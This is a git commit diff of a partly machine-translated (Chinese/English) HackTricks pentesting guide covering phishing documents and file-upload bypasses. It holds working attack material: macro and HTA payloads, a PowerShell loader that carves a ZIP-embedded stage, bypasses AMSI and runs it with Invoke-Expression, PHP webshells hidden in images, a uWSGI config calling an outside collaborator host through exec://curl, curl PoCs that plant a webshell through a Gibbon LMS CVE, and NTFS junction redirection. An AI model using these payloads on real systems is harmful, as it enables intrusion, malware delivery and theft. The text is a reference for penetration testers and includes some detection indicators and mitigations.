Translated ['', 'src/generic-methodologies-and-resources/phishing-method

This commit is contained in:
Translator 2025-09-30 04:37:34 +00:00
parent 16370270cb
commit 8c9a9e1320
4 changed files with 284 additions and 154 deletions

View File

@ -1,35 +1,33 @@
# 钓鱼 文件与文档
# 钓鱼文件与文档
{{#include ../../banners/hacktricks-training.md}}
## Office 文档
## Office Documents
Microsoft Word 在打开文件之前会执行文件数据验证。数据验证以数据结构识别的形式,根据 OfficeOpenXML 标准行。如果在数据结构识别过程中发生任何错误,被分析的文件将不会打开。
Microsoft Word 在打开文件之前会执行文件数据验证。数据验证以数据结构识别的形式,根据 OfficeOpenXML 标准行。如果在数据结构识别过程中发生任何错误,将不会打开正在分析的文件
通常,包含宏的 Word 文件使用 `.docm` 扩展名。然而,可以通过更改文件扩展名来重命名文件,同时仍保持其宏执行能力。\
例如按设计RTF 文件不支持宏,但将 DOCM 文件重命名为 RTF 后Microsoft Word 仍会处理该文件并能够执行宏。\
相同的内部机制适用于 Microsoft Office SuiteExcel、PowerPoint 等)的所有软件。
通常,包含宏的 Word 文件使用 `.docm` 扩展名。不过可以通过更改文件扩展名来重命名文件同时仍保留其宏执行能力。举例来说RTF 文件按设计不支持宏,但将 DOCM 文件重命名为 RTF 后Microsoft Word 仍会处理该文件并能执行宏。相同的内部机制也适用于 Microsoft Office Suite 的所有软件Excel, PowerPoint etc.)。
你可以使用以下命令来检查哪些扩展名被某些 Office 程序执行:
你可以使用以下命令来检查哪些扩展名将被某些 Office 程序执行:
```bash
assoc | findstr /i "word excel powerp"
```
DOCX files referencing a remote template (File Options Add-ins Manage: Templates Go) that includes macros can “execute” macros as well.
### 外部图加载
### 外部图加载
Go to: _Insert --> Quick Parts --> Field_\
转到: _Insert --> Quick Parts --> Field_\
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
![](<../../images/image (155).png>)
### Macros 后门
可以使用 macros 从文档运行任意代码。
可以使用 macros 从文档运行任意代码。
#### 自动加载函数
这些越常见AV 检测到它们的可能性越大。
越常见,被 AV 检测到的概率越大。
- AutoOpen()
- Document_Open()
@ -66,24 +64,24 @@ proc.Create "powershell <beacon line generated>
```
#### 手动移除元数据
转到 **File > Info > Inspect Document > Inspect Document**,这会打开 Document Inspector。点击 **Inspect**,然后在 **Document Properties and Personal Information** 旁点击 **Remove All**
Fo 到 **File > Info > Inspect Document > Inspect Document**,这会弹出 Document Inspector。点击 **Inspect**,然后在 **Document Properties and Personal Information**点击 **Remove All**
#### 文档扩展名
#### Doc 扩展
完成后,选择 **Save as type** 下拉菜单,将格式从 **`.docx`** 更改为 **Word 97-2003 `.doc`**.\\
之所以这样做是因为你 **can't save macro's inside a `.docx`**并且带有 macro-enabled **`.docm`** 扩展名存在一定的污名(例如,缩略图图标有一个巨大的 `!`,一些 web/email gateway 会完全阻止它们)。因此,这个 **传统 `.doc` 扩展名是最好的折衷**
完成后,选择 **Save as type** 下拉菜单,将格式从 **`.docx`** 更改为 **Word 97-2003 `.doc`**。\
这样做是因为你 **can't save macro's inside a `.docx`**而且围绕 macro-enabled 的 **`.docm`** 扩展存在一定的**污名**(例如缩略图图标上有一个巨大的 `!`,一些 web/email gateway 会完全阻止它们)。因此,这个**legacy `.doc` 扩展是最好的折衷**
#### 恶意 Macros 生成器
#### 恶意 Macros Generators
- MacOS
- [**macphish**](https://github.com/cldrn/macphish)
- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
## HTA 文件
## HTA Files
HTA 是一 Windows 程序,**combines HTML and scripting languages (such as VBScript and JScript)**。它生成用户界面并作为 "fully trusted" 应用执行,不受浏览器安全模型的约束。
HTA 是一 Windows 程序,**combines HTML and scripting languages (such as VBScript and JScript)**。它生成用户界面并作为“完全受信任的”应用执行,不受浏览器安全模型的约束。
HTA 通过 **`mshta.exe`** 执行,通常会随着 **Internet Explorer** 一起 **安装**,这使得 **`mshta` 依赖于 IE**。因此如果它已被卸载HTA 将无法执行。
HTA 使用 **`mshta.exe`** 执行,该程序通常随 **Internet Explorer** 一起 **installed**,这使得 **`mshta` dependant on IE**。因此如果它已被卸载HTA 将无法执行。
```html
<--! Basic HTA Execution -->
<html>
@ -138,11 +136,11 @@ var_func
self.close
</script>
```
## 强制 NTLM 验证
## 强制 NTLM Authentication
多种方法可以**“远程”强制 NTLM 验证**,例如,你可以在用户会访问的邮件或 HTML 中添加**不可见图像**(甚至 HTTP MitM。或者将会在**打开文件夹**时就**触发**一次**身份验证**的**文件地址**发送给受害者
几种方法可以 **强制 NTLM Authentication "remotely"**,例如,你可以在用户会访问的邮件或 HTML 中添加 **不可见的图片**(甚至通过 HTTP MitM。或者向受害者发送 **文件地址**,这些地址仅在 **打开文件夹** 时就会 **触发** 一个 **authentication**
**请在以下页面查看这些想法及更多内容:**
**在以下页面中查看这些想法和更多内容:**
{{#ref}}
@ -156,24 +154,24 @@ self.close
### NTLM Relay
别忘了,你不仅可以窃取 hash 或 身份验证,还可以**perform NTLM relay attacks**
不要忘记,你不仅可以窃取 hash 或 authentication还可以 **perform NTLM relay attacks**
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
高效的攻击活动通常投放一个 ZIP包含两个合法的诱饵文档PDF/DOCX和一个恶意 .lnk。技巧在于真正的 PowerShell loader 被存放在 ZIP 的原始字节中,在一个唯一标记之后,.lnk 会从中切割并在内存中完整运行它。
高效的活动通常发送一个 ZIP里面包含两个合法的诱饵文档 (PDF/DOCX) 和一个恶意 .lnk。关键在于实际的 PowerShell loader 存储在 ZIP 的原始字节中某个唯一标记之后,.lnk 会从中提取并在内存中完整运行它。
\.lnk PowerShell 单行命令实现的典型流程
典型流程由 .lnk PowerShell one-liner 实现
1) 在常见路径中定位原始 ZIPDesktop、Downloads、Documents、%TEMP%、%ProgramData%,以及当前工作目录的父目录。
2) 读取 ZIP 字节并查找硬编码标记(例如 xFIQCV。标记之后的所有内容都是嵌入的 PowerShell payload。
3) 将 ZIP 复制到 %ProgramData%,在那里解压,并打开诱饵 .docx 以显得合法。
4) 为当前进程绕过 AMSI: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) 对下一阶段进行去混淆(例如移除所有 # 字符)并在内存中执行它。
1) 在常见路径中定位原始 ZIPDesktop, Downloads, Documents, %TEMP%, %ProgramData% 和当前工作目录的父目录。
2) 读取 ZIP 字节并找到一个硬编码标记(例如,xFIQCV。标记之后的所有内容都是嵌入的 PowerShell payload。
3) 将 ZIP 复制到 %ProgramData%,在该处解压,并打开诱饵 .docx 以显得合法。
4) 绕过当前进程的 AMSI [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) 对下一阶段进行去混淆(例如移除所有 # 字符)并在内存中执行它。
Example PowerShell skeleton to carve and run the embedded stage:
示例 PowerShell 骨架来提取并运行嵌入的阶段:
```powershell
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths = @(
@ -192,22 +190,22 @@ Invoke-Expression $code
```
说明
- Delivery often abuses reputable PaaS subdomains (e.g., *.herokuapp.com) and may gate payloads (serve benign ZIPs based on IP/UA).
- 下一阶段通常会对 base64/XOR shellcode 进行解密,并通过 Reflection.Emit + VirtualAlloc 执行以最小化磁盘痕迹。
- The next stage frequently decrypts base64/XOR shellcode and executes it via Reflection.Emit + VirtualAlloc to minimize disk artifacts.
同一攻击链中使用的持久化
- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. 详细信息和可直接使用的命令请见:
同一链中使用的持久化机制
- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here:
{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
{{#endref}}
Hunting/IOCs
- ZIP 文件包含追加到归档数据的 ASCII 标记字符串(例如 xFIQCV
- .lnk 会枚举父/用户文件夹以定位 ZIP 并打开诱饵文档。
威胁狩猎/IOCs
- ZIP files containing the ASCII marker string (e.g., xFIQCV) appended to the archive data.
- .lnk that enumerates parent/user folders to locate the ZIP and opens a decoy document.
- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- 以托管在受信任 PaaS 域下的链接结尾的长时间运行的业务线程。
- Long-running business threads ending with links hosted under trusted PaaS domains.
## Windows files to steal NTLM hashes
## Windows 上用于窃取 NTLM 哈希的文件
查看关于 **places to steal NTLM creds** 的页面:

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## 文件上传通用方法论
## 文件上传 一般方法
其他有用的扩展名:
@ -17,11 +17,11 @@
### 绕过文件扩展名检查
1. 如果适用,检查之前列出的扩展名。也用一些大写字母测试它们 _pHp, .pHP5, .PhAr ..._
2. 检查在可执行扩展名前添加一个有效扩展(也可使用前面列出的扩展):
1. 如果适用,请**检查****之前列出的扩展名。** 也用一些**大写字母**进行测试: _pHp, .pHP5, .PhAr ..._
2. _检查**在执行扩展之前添加一个有效扩展名**也使用之前列出的扩展名_
- _file.png.php_
- _file.png.Php5_
3. 尝试在末尾添加特殊字符。你可以使用 Burp 对所有 ASCII 和 Unicode 字符进行暴力测试。(注意你也可以尝试使用之前提到的扩展)
3. 尝试在末尾添加**特殊字符。** 你可以使用 Burp 对所有 **ascii****Unicode** 字符进行 **bruteforce**。 (_注意你也可以尝试使用**之前**提到的**扩展名**_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@
- _file._
- _file.php...._
- _file.pHp5...._
4. 试着通过欺骗服务器端的扩展名解析器来绕过保护使用如重复扩展或在扩展之间添加垃圾数据null 字节)等技术。你也可以使用之前的扩展来准备更好的 payload。
4. 尝试通过**欺骗服务器端的扩展名解析器**来绕过保护,使用像**重复扩展名**或在扩展名之间**添加垃圾数据**(如 **null** 字节等技术。_你也可以使用**之前的扩展名**来准备更好的 payload。_
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,13 +40,13 @@
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. 在之前的检查上再添加一层扩展
5. 对前面的检查**再添加一层扩展名**
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. 尝试把可执行扩展放在有效扩展之前并祈祷服务器配置错误。(在某些 Apache 错误配置中,任何带有扩展名**.php** 的文件,即使不以 .php 结尾,也可能执行代码
6. 尝试将**执行扩展名放在有效扩展名前面**并希望服务器配置错误。(这在利用 Apache 错误配置时很有用,比如服务器可能会执行任何扩展名为 .php 的文件,即使文件名并不以 .php 结尾
- _ex: file.php.png_
7. 在 Windows 上使用 NTFS alternate data stream (ADS)。在这种情况下,会在被禁止的扩展之后、允许的扩展之前插入一个冒号字符 ":"。因此,服务器上会创建一个带有被禁止扩展的空文件(例如 "file.asax:.jpg")。这个文件后来可能通过其他技术(例如使用其短文件名)进行编辑。“**::$data**”模式也可用于创建非空文件,因此在此模式后添加一个点字符有时也能绕过进一步的限制(例如 "file.asp::$data."
8. 尝试突破文件名长度限制。有效扩展被截断,而恶意的 PHP 得以保留。 AAA<--SNIP-->AAA.php
7. 在 **Windows** 上使用 **NTFS alternate data stream (ADS)**。在这种情况下,会在被禁止的扩展名之后和被允许的扩展名之前插入一个冒号字符 ":"。结果会在服务器上创建一个**具有被禁止扩展名的空文件**(例如 "file.asax:.jpg")。该文件之后可能通过其他技术(例如使用其短文件名)进行编辑。模式 "**::$data**" 也可以用于创建非空文件。因此,在该模式后添加一个点字符也可能有助于绕过进一步的限制(例如 "file.asp::$data."
8. 尝试突破文件名长度限制。有效扩展被截断,而恶意的 PHP 保留。 AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
@ -61,13 +61,13 @@ AAA<--SNIP 232 A-->AAA.php.png
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) CVE-2024-21546
有些上传处理器会修剪或规范化保存文件名中的尾随点字符。在 UniSharp 的 Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1 之前的版本中,你可以通过以下方式绕过扩展名校验:
一些 upload handler 会从保存的文件名中修剪或规范化尾随的点字符。在 UniSharp 的 Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1 之前的版本中,你可以通过以下方式绕过扩展名校验:
- 使用有效的 image MIME 和 magic header例如 PNG 的 `\x89PNG\r\n\x1a\n`)。
- 使用有效的图像 MIME 和 magic header例如 PNG 的 `\x89PNG\r\n\x1a\n`)。
- 将上传的文件命名为以 PHP 扩展名结尾并带有一个点,例如 `shell.php.`
- 服务器会去掉尾随点并持久化为 `shell.php`,如果该文件被放在可被 web 访问的目录(默认 public storage`/storage/files/`)下就会执行。
- 服务器会删除尾随的点并持久化为 `shell.php`,如果它被放在可以通过 web 访问的目录中(默认的 public storage比如 `/storage/files/`),则会被执行。
Minimal PoC (Burp Repeater):
最小 PoCBurp Repeater
```http
POST /profile/avatar HTTP/1.1
Host: target
@ -80,65 +80,65 @@ Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
```
然后访问已保存的路径(通常出现在 Laravel + LFM 中):
然后访问已保存的路径(在 Laravel + LFM 中常见
```
GET /storage/files/0xdf.php?cmd=id
```
Mitigations:
- 升级 unisharp/laravel-filemanager ≥ 2.9.1。
- 在服务器端强制执行严格的 allowlists 并重新验证持久化的文件名。
- 从不可执行的位置提供上传文件。
缓解措施:
- 升级 unisharp/laravel-filemanager ≥ 2.9.1。
- 在服务器端强制执行严格的允许列表并重新验证持久化的文件名。
- 从不可执行的位置提供上传文件。
### Bypass Content-Type, Magic Number, Compression & Resizing
### 绕过 Content-Type、Magic Number、Compression 与 Resizing
- 通过将 **Content-Type** **header****value** 设置为_image/png_、_text/plain_、application/octet-stream 来绕过 **Content-Type** 检查。
1. Content-Type 字典: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- 通过在文件开头添加真实图片的字节来绕过 **magic number** 检查(混淆 _file_ 命令)。或者把后门放入**元数据**\
- 通过将 **Content-Type** **header****value** 设置为_image/png_ , _text/plain , application/octet-stream_ 来绕过 **Content-Type** 检查
1. Content-Type **字典**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- 通过在文件开头添加 **真实图片的字节** 来绕过 **magic number** 检查(以迷惑 _file_ 命令)。或者将 shell 放入 **metadata**\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` 或者你也可以直接把 payload 插入到图片中\
`\` 或者你也可以 **直接将 payload 引入** 图片\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- 如果对你的图片正在添加**压缩**,例如使用像 [PHP-GD](https://www.php.net/manual/fr/book.image.php) 这样的常用 PHP 库,之前的技术可能就不再有效。不过,你可以使用 **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些能**在压缩后存活**的文本。
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- 网页也可能会**缩放**图片,例如使用 PHP-GD 的 `imagecopyresized``imagecopyresampled`。不过,你可以使用 **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些能**在压缩后存活**的文本。
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- 另一种使 payload **在图像缩放后存活** 的技术,针对使用 PHP-GD 的 `thumbnailImage`不过,你可以使用 **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些能**在压缩后存活**的文本。
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
- 如果你的图像被添加了**压缩**,例如使用一些常见的 PHP 库如 [PHP-GD](https://www.php.net/manual/fr/book.image.php),之前的技术将无效。不过,你可以使用 **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些能**在压缩后存活**的文本。
- [**Github(含代码)**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- 网页也可能在**调整图像大小**,例如使用 PHP-GD 的 `imagecopyresized``imagecopyresampled` 函数。然而,你可以使用 **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些能**在压缩后存活**的文本。
- [**Github(含代码)**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- 另一种 payload **在图像缩放后存活** 的技术,针对使用 PHP-GD 的 `thumbnailImage` 函数。你可以使用 **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些能**在压缩后存活**的文本。
- [**Github(含代码)**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Other Tricks to check
### 其他要检查的技巧
- 找到可以**重命名**已上传文件的漏洞(以更改扩展名)
- 找 **Local File Inclusion** 漏洞以执行后门。
- 找到可将已上传文件**重命名**(以更改扩展名)的漏洞
- **Local File Inclusion** 漏洞以执行后门。
- **可能的信息泄露**
1. 多次(并在**同一时间**)上传**相同名称**的**同一文件**
2. 上传一个名称与已存在的**文件**或**文件夹**相同的文件
3. 上传一个名为 `"."`, `".."`, 或 `"…”` 的文件。例如,在 **Windows** 上的 Apache 中,如果应用将上传文件保存在 "/www/uploads/" 目录,文件名为 "." 会在 "/www/" 目录下创建一个名为 "uploads" 的文件。
4. 上传一个可能不易删除的文件,例如在 **NTFS** 下的 `"…:.jpg"`Windows
5. 在 **Windows** 上上传包含无效字符(例如 `|<>*?”`)的文件Windows
6. 在 **Windows** 上上传使用保留(禁用)名称的文件,例如 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, 和 LPT9。
- 还可以尝试上传可执行文件(.exe或一个较不显眼的 .html当受害者意外打开时会执行代码。
1. 多次(并在**同一时间**)上传 **相同的文件** 并使用 **相同的名称**
2. 上传一个名称与已存在的 **文件** **文件夹** 相同的文件
3. 上传名称为 **"."、".." 或 "…"** 的文件。例如,在 **Windows** 上的 Apache 中,如果应用将上传文件保存到 "/www/uploads/" 目录,"." 作为文件名会在 "/www/" 目录下创建一个名为 uploads 的文件。
4. 上传**NTFS**Windows中可能无法轻易删除的文件例如 **"…:.jpg"**。
5. 在 **Windows** 中上传文件名包含非法字符(例如 `|<>*?”`)的文件。
6. 在 **Windows** 中上传使用保留(禁止)名称的文件,例如 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, 和 LPT9。
- 也可以尝试上传可执行文件(.exe或 .html看起来不那么可疑当受害者意外打开时可以执行代码。
### Special extension tricks
### 特殊扩展名技巧
如果你试图向 **PHP server** 上传文件,请查看用于执行代码的 **.htaccess** 技巧: [https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)。\
如果你试**ASP server** 上传文件,请查看用于执行代码的 **.config** 技巧:../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files
如果你尝试向 **PHP 服务器** 上传文件,请查看 [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)。\
如果你试向 **ASP server** 上传文件,请查看 [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
`.phar` 文件类似于 Java 的 `.jar`,但用于 php可以像 php 文件那样使用(用 php 执行,或在脚本中包含...
`.phar` 文件类似于 java 的 `.jar`,但用于 php可以**像 php 文件一样使用**(用 php 执行,或在脚本中包含...
`.inc` 扩展有时用于仅用于**导入文件**的 php 文件,因此在某些情况下,可能有人允许**此扩展被执行**。
`.inc` 扩展有时用于仅用于**导入文件**的 php 文件,所以在某些情况下,可能有人允许**执行此扩展名**。
## **Jetty RCE**
如果你能向 Jetty 服务器上传 XML 文件,你可以获得 [RCE因为 **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 如下图所示,将 XML 文件上传到 `$JETTY_BASE/webapps/` 并期待 shell
如果你能将 XML 文件上传到 Jetty 服务器,你可以获得 [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 因此,如下图所示,将 XML 文件上传到 `$JETTY_BASE/webapps/` 并期待拿到 shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
关于此漏洞的详细探讨请查看原始研究: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
关于此漏洞的详细研究,请参阅原始研究: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
如果可以修改 `.ini` 配置文件uWSGI 服务器上可能存在 Remote Command Execution (RCE) 漏洞。uWSGI 配置文件使用特定的语法来包含“magic”变量、占位符和运算符。值得注意的是 '@' 运算符,以 `@(filename)` 的形式使用,用于包含文件内容。在 uWSGI 支持的各种 scheme 中,"exec" scheme 特别强大,它允许从进程的标准输出读取数据。当处理 `.ini` 配置文件时,此功能可以被用于恶意目的,例如 Remote Command Execution 或 Arbitrary File Write/Read。
如果能够修改 `.ini` 配置文件uWSGI 服务器就可能被利用发生 Remote Command Execution (RCE) 漏洞。uWSGI 的配置文件使用一种特定语法来包含 “magic” 变量、占位符和操作符。值得注意的是 '@' 操作符(以 `@(filename)` 的形式使用)用于包含文件内容。在 uWSGI 支持的各种 scheme 中,"exec" scheme 特别强大,它允许从进程的标准输出读取数据。当处理 `.ini` 配置文件时,这个特性可以被滥用,用于 Remote Command Execution 或 Arbitrary File Write/Read。
考虑下面这个有害的 `uwsgi.ini` 示例,展示了各种 scheme
考虑下面这个恶意的 `uwsgi.ini` 文件示例,它展示了多种 scheme
```ini
[uwsgi]
; read from a symbol
@ -156,15 +156,54 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
payload 的执行发生在配置文件解析期间。为了使配置被激活并解析uWSGI 进程必须要么重启(可能是在崩溃之后或由于 Denial of Service attack要么将该文件设置为 auto-reload。auto-reload 功能(如果启用)在检测到更改时会以指定间隔重新加载该文件。
It's crucial to understand the lax nature of uWSGI's configuration file parsing. Specifically, the discussed payload can be inserted into a binary file (such as an image or PDF), further broadening the scope of potential exploitation.
理解 uWSGI 的配置文件解析机制的宽松性至关重要。具体而言,所讨论的 payload 可以被插入到二进制文件中(例如 image 或 PDF这进一步扩大了潜在利用的范围。
### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
Gibbon LMS 中的一个未认证的 endpoint 允许在 web root 内进行 arbitrary file write从而通过放置一个 PHP 文件导致 pre-auth RCE。易受影响的版本直到并包括 25.0.01。
- Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
- Method: POST
- Required params:
- `img`: data-URI-like string: `[mime];[name],[base64]`(服务器忽略 type/name对尾部进行 base64-decodes
- `path`: destination filename relative to Gibbon install dir例如`poc.php``0xdf.php`
- `gibbonPersonID`: any non-empty value is accepted例如`0000000001`
Minimal PoC to write and read back a file:
```bash
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK
# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
# Verify write
curl http://target/Gibbon-LMS/poc.php
```
放置一个最小的 webshell 并执行命令:
```bash
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
```
注意:
- 处理器在按 `;``,` 分割后执行 `base64_decode($_POST["img"])`,然后将字节写入 `$absolutePath . '/' . $_POST['path']`,而不验证扩展名/类型。
- 生成的代码以 web 服务用户身份运行例如XAMPP Apache 在 Windows 上)。
此漏洞的参考资料包括 usd HeroLab advisory 和 NVD 条目。参见下方的 References 部分。
## **wget 文件上传/SSRF 技巧**
在某些情况下,你可能会发现服务器使用 **`wget`** 来 **下载文件**,并且可以 **指定** **URL**。在这些情况下,代码可能会检查所下载文件的扩展名是否在白名单内,以确保只会下载被允许的文件。然而,**这个检查是可以绕过的。**\
**linux** 中,**文件名** 的 **最大** 长度为 **255**,然而,**wget** 会将文件名 **截断****236** 个字符。你可以 **下载名为 "A"\*232+".php"+".gif" 的文件**,这个文件名将会 **绕过** **检查**(例如在此情形中 **".gif"** 是一个 **有效** 的扩展名),但 `wget`**重命名** 该文件为 **"A"\*232+".php"**。
在某些情况下,你可能会发现服务器使用 **`wget`** 来 **下载文件**,并允许你指定 **URL**。在这些情况下,代码可能会检查下载文件的扩展名是否在白名单中,以确保只会下载被允许的文件。但是,**这个检查可以被绕过。**\
**linux** 中,**文件名** 的 **最大** 长度是 **255**,然而,**wget** 会将文件名截断为 **236** 个字符。你可以 **下载一个名为 "A"*232+".php"+".gif" 的文件**,这个文件名将 **绕过** **检查**(在本例中 **".gif"** 是一个 **有效** 的扩展名),但 `wget`**将文件重命名为 "A"*232+".php"**
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -187,35 +226,60 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
注意你可能会想到的另一种绕过此检查的方式是让 **HTTP server** 重定向到不同的文件,这样初始 URL 将绕过检查,然后 wget 会下载重定向后的新文件名。除非使用参数 `--trust-server-names` 否则这 **不会生效**,因为 **wget 会使用原始 URL 中指示的文件名来下载被重定向的页面**
Note that **另一个选项** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **不会起作用** **除非** wget is being used with the **参数** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
### 通过 NTFS junctions (Windows) 逃逸上传目录
(对于此攻击您需要对 Windows 机器的本地访问)当上传在 Windows 的按用户子文件夹下存储(例如 C:\Windows\Tasks\Uploads\<id>\)并且您可以控制该子文件夹的创建/删除时,您可以将其替换为指向敏感位置(例如 webroot的 directory junction。随后上传的文件将被写入目标路径如果目标会解释 serverside code则可以实现代码执行。
Example flow to redirect uploads into XAMPP webroot:
```cmd
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
:: Minimal PHP webshell for testing
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"
```
说明
- mklink /J creates an NTFS directory junction (reparse point). The web servers account must follow the junction and have write permission in the destination.
- This redirects arbitrary file writes; if the destination executes scripts (PHP/ASP), this becomes RCE.
- 防御:不要允许可写的上传根目录被攻击者控制在 C:\Windows\Tasks 或类似位置;阻止 junction 的创建;在服务器端验证扩展名;将上传存储在独立卷上或使用 denyexecute ACLs。
## 工具
